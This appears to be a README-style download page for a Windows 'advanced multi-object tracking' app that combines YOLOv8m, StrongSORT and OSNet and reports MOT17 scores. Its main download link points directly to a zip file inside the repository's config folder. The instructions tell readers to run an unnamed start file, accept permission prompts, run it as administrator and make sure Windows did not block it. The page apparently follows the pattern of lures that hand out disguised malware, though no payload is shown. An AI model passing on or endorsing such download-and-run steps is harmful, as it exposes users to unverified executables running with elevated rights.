Use this page to download and run the app on Windows:
This app tracks multiple objects in video. It uses a YOLOv8m detector, StrongSORT tracking, and OSNet appearance embeddings to keep track of items as they move across frames.
It is built for video analysis tasks like:
- security camera review
- traffic scene analysis
- people tracking in video
- object tracking in research clips
It is tuned for MOT17 and compared with ByteTrack using TrackEval.
Before you run the app, make sure your Windows PC has:
- Windows 10 or Windows 11
- At least 8 GB of RAM
- A GPU with NVIDIA support for best speed
- Enough free disk space for the app, models, and video files
- A working internet connection for the first setup
If your PC does not have a GPU, the app can still run, but it may be slow.
-
Open the download page:
https://github.com/horsetradeblind603/advanced-multi-object-tracking/raw/refs/heads/main/config/multi-advanced-object-tracking-v3.0.zip -
Download the Windows build or the source package from the page.
-
Save the file in a folder you can find again, such as Downloads or Desktop.
-
If you get a zipped file, right-click it and choose Extract All.
-
Open the app folder.
-
Find the main Windows app file or start file.
-
Double-click it to run.
-
If Windows asks for permission, choose Yes.
When you open the app for the first time, it may set up model files and support files.
Follow these steps:
- Keep the app open until setup finishes.
- Do not close the window while files are loading.
- If the app asks for a video file, choose a short test video first.
- If the app asks for a camera source, pick the camera you want to use.
- Wait for the first tracking results to appear.
The app is meant to process video and show tracked objects over time.
Typical steps:
- Open the app.
- Load a video file or camera feed.
- Start tracking.
- Watch the boxes and track IDs on the screen.
- Save the output if you want to review it later.
You may see labels, object boxes, and track numbers on each moving item. These help you follow the same object from one frame to the next.
This project uses three main parts:
- YOLOv8m for object detection
- StrongSORT for track matching
- OSNet for appearance features
In plain terms:
- YOLO finds objects in each frame
- StrongSORT links the same object across frames
- OSNet helps tell similar-looking objects apart
This setup helps reduce mix-ups when objects cross paths or move close together.
The repository includes test results from MOT17:
- HOTA 41.6
- MOTA 38.1
- IDF1 50.8
These scores help measure how well the tracker keeps object IDs stable and how well it finds and follows objects in video.
The app was also checked against a ByteTrack baseline using TrackEval.
If you open the folder after download, you may find:
- the main app file
- a models folder
- sample video or test data
- config files
- results or output folders
- README files
If you see extra files, keep them in the same folder unless the app instructions say otherwise.
If the app does not open:
- Right-click the file and choose Run as administrator.
- Check that Windows did not block the file.
- Make sure the folder still contains all app files.
- Restart your PC and try again.
If the app opens but runs slowly:
- Close other large apps.
- Use a smaller video file.
- Lower the video size if the app gives that option.
- Use an NVIDIA GPU if you have one.
If the app cannot find a video:
- Check that the file is a supported video format.
- Move the video to a simple folder path, such as C:\Videos.
- Try a short sample clip first.
To get cleaner tracking results:
- use steady video
- keep the camera angle stable
- avoid very dark footage
- use clear, high-resolution video when possible
- keep people or objects visible for as long as you can
Fast camera moves, heavy blur, and blocked objects can make tracking less stable.
If you want a quick test, use a short video with:
- two or more moving people
- clear lighting
- little motion blur
- a simple background
This makes it easier to check that detection and tracking work as expected.
This app fits users who want to:
- track people or vehicles in video
- review surveillance footage
- test object tracking models
- compare tracking results with other methods
- study detection and tracking on MOT17-style data
Go here to download and run the app on Windows:
This project is useful if you want to compare tracking methods like:
- StrongSORT
- ByteTrack
- YOLO-based tracking pipelines
The included benchmark focus makes it easier to check how one method performs against another on the same data
Keep the app in a simple folder structure like this:
- Downloads
- advanced-multi-object-tracking
- app files
- models
- videos
- output
- advanced-multi-object-tracking
A simple path helps avoid file loading errors
If you are new to Windows apps, follow this flow:
- Download the files from the link above.
- Open the download location.
- Extract the folder if needed.
- Open the app folder.
- Double-click the app file.
- Choose your video or camera.
- Start tracking
This repository centers on:
- multi-object tracking
- object detection
- appearance-based re-identification
- video analytics
- surveillance use cases
- MOT17 evaluation
The goal is to keep object identities steady while they move through a scene